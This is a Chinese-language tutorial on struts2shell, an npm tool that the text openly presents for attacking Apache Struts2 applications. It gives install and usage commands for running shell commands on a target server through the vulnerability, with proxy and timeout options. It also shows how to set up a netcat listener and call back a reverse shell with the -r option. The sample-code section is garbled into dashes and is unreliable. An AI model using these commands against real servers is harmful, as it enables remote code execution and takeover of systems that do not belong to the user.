简介
struts2shell 是一个用于攻击 struts2 框架的工具,可以利用 struts2 漏洞向目标服务器发送命令并获取结果。本文将详细介绍 struts2shell 的使用方法,并提供示例代码以供参考。
安装及使用
- 安装 struts2shell
使用 npm 安装 struts2shell:
npm install -g struts2shell
- 使用 struts2shell
使用 struts2shell 的语法如下:
struts2shell [-c 命令] [-x 代理地址] [-p 代理端口] [-t 超时时间] URL
其中 URL 为 struts2 漏洞路径,命令、代理地址、代理端口、超时时间都是可选参数。示例:
struts2shell -c "ls /" http://example.com/struts2-showcase/index.action
以上命令将在 example.com 的 struts2-showcase 应用中执行 ls / 命令。如果执行成功,将输出命令结果。
如果需要使用代理,可以使用 -x 和 -p 参数指定代理地址和代理端口。例如:
struts2shell -c "ls /" -x proxy.example.com -p 8080 http://example.com/struts2-showcase/index.action
如果超时时间较长,可以使用 -t 参数指定等待时长,单位为秒。例如:
struts2shell -c "ls /" -t 10 http://example.com/struts2-showcase/index.action
如果需要获取反弹的 shell,可以使用以下命令启动一个监听器:
nc -lvp 4444
然后在 struts2shell 中使用 -r 参数指定反弹 shell 的 IP 和端口:
struts2shell -r <IP>:<PORT> http://example.com/struts2-showcase/index.action
示例代码
以下是一个使用 struts2shell 发送 HTTP GET 请求并获取响应的示例代码:
-- -------------------- ---- ------- ----- ------- - ------------------- ----- ------------ - ------------------------ ----- --- - --------------------------------------------------- ----- ------- - --- ----- ------- - - ------------- ------------ -------- -- ----- ------ ---- ------------------ ------- ---- ------ -------------------- --------------- --------- ------- -- ----- ----- - --- ----- ------- - ------ ---------------- --- ---- ---- -------- ------ -------- ------------- ---- - -- ----- - ----------------- ------- - ----------------- ---
以上代码使用了 request 模块发送 HTTP 请求,并调用 struts2shell 模块执行命令。可以根据实际情况进行修改。
来源:JavaScript中文网 ,转载请注明来源 https://www.javascriptcn.com/post/60055aa981e8991b448d8343